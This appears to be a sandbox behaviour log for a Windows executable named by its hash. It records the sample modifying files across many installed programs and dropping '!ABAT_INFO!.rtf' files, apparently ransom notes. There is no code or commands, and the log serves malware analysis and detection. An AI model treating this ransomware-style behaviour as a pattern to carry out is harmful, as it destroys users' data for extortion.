81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Australia\Hobart 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\sql2000.xsl 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\ext\access-bridge-64.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Europe\Athens 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Moscow 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Asia\Irkutsk 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\db\lib\derbyLocale_es.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\bin\kinit.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\com.jrockit.mc.feature.core_5.5.0.165303\feature.properties 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.emf.ecore_2.10.1.v20140901-1043\feature.properties 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\images\win7TSFrame.png 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\km\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\db\bin\ij 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\README.txt 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.transport.ecf_1.1.0.v20140408-1354.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\CYRILLIC.TXT 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\eu\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\server_ok.gif 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\84.0.4147.89\Locales\lt.pak 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\84.0.4147.89\Locales\vi.pak 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rcp.application.ja_5.5.0.165303.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.ssl.feature_1.0.0.v20140827-1444\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.ql.nl_ja_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-heapdump_zh_CN.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Windows Mail\en-US\WinMail.exe.mui 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Argentina\Cordoba 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Beirut 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Antarctica\Rothera 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jre7\lib\zi\Etc\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Windows Photo Viewer\en-US\ImagingDevices.exe.mui 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\deploy\splash.gif 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\alt-rt.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\jsse.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Singapore 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Noumea 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Antarctica\Vostok 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-uihandler_zh_CN.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jre7\lib\ext\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\lg\LC_MESSAGES\vlc.mo 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.jetty.continuation_8.1.14.v20131031.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\jvm.hprof.txt 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\ICU\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\bin\serialver.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\bin\rmiregistry.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\javafx.properties 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.ui.zh_CN_5.5.0.165303.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-core-windows_zh_CN.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Glace_Bay 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Paramaribo 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\vlm.html 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\ml\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Google\Update\1.3.35.452\GoogleUpdate.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\jfr\default.jfc 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Indian\Cocos 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\IA32.api 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\images\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1250.TXT 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Lima 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\Welcome.html 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.core.net.nl_ja_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\images\winXPBluHandle.png 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\VERSION.txt 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Santo_Domingo 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\lib\dsn.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\bin\rmiregistry.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\images\buttons.png 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\meta\art\01_googleimage.luac 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\plugins\access\libbluray-j2se-1.0.2.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\AcroForm\PMP\AdobePDF417.pmp 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\84.0.4147.89\VisualElements\SmallLogoDev.png 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.ssl.feature_1.0.0.v20140827-1444\license.html 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.ui.services.nl_zh_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-keyring-impl_ja.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\security\cacerts 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\security\blacklist 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\LICENSE 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\ZX______.PFB 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\db\lib\derbyclient.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.jsp.jasper_1.0.400.v20130327-1442.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\lib\org-openide-util.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jre7\lib\management\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Mozilla Firefox\browser\features\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Windows Photo Viewer\en-US\PhotoViewer.dll.mui 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\fonts\LucidaSansDemiBold.ttf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.forms.nl_ja_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\84.0.4147.89\84.0.4147.89.manifest 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Etc\GMT+7 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.core.ssl.feature_1.0.0.v20140827-1444\license.html 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.preferences_3.5.200.v20140224-1527.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\THIRDPARTYLICENSEREADME-JAVAFX.txt 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\COPYRIGHT 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Europe\Berlin 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Mozilla Firefox\platform.ini 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1251.TXT 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\bin\keytool.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\images\cursors\win32_CopyDrop32x32.gif 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Australia\Perth 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.console.nl_ja_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-openide-nodes.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Asia\Hebron 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Montreal 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Antarctica\Palmer 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\js\common.js 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\ConnectConvertFrom.wmf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Apia 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.help.base.nl_ja_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\css\e4_basestyle.css 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Bogota 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Mozilla Firefox\updater.ini 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Europe\Warsaw 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Choibalsan 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.launcher.win32.win32.x86_64.nl_zh_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\North_Dakota\New_Salem 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Mozilla Firefox\crashreporter.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\eng.hyp 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\review_shared.gif 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.feature_3.9.1.v20140827-1444\META-INF\ECLIPSE_.RSA 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.mbeanbrowser.zh_CN_5.5.0.165303.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-api-visual_ja.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-javahelp_ja.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Africa\Ceuta 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Goose_Bay 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Pacific\Pago_Pago 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\ca\LC_MESSAGES\vlc.mo 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\desktop.ini 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\bin\wsimport.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\db\lib\derbyLocale_fr.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Atlantic\Stanley 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.extensionlocation_1.2.100.v20131119-0908.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-modules-queries.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-sampler_zh_CN.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\css\main.css 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\id\LC_MESSAGES\vlc.mo 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\84.0.4147.89\elevation_service.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Microsoft Visual Studio 8\Common7\IDE\VSTA\ItemTemplates\CSharp\1033\CodeFile.zip 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\db\bin\startNetworkServer.bat 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\db\lib\derby.war 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Africa\Maputo 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Thimphu 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.equinox.p2.core.feature_1.3.0.v20140523-0116\META-INF\ECLIPSE_.SF 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\core\locale\org-openide-filesystems_ja.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\bin\jmc.ini 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\bin\jconsole.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Eirunepe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Grand_Turk 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.metadata.repository.nl_zh_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-openide-windows_zh_CN.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Niue 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.touchpoint.natives.nl_zh_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Dawson 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Asia\Novokuznetsk 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\sq\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Dili 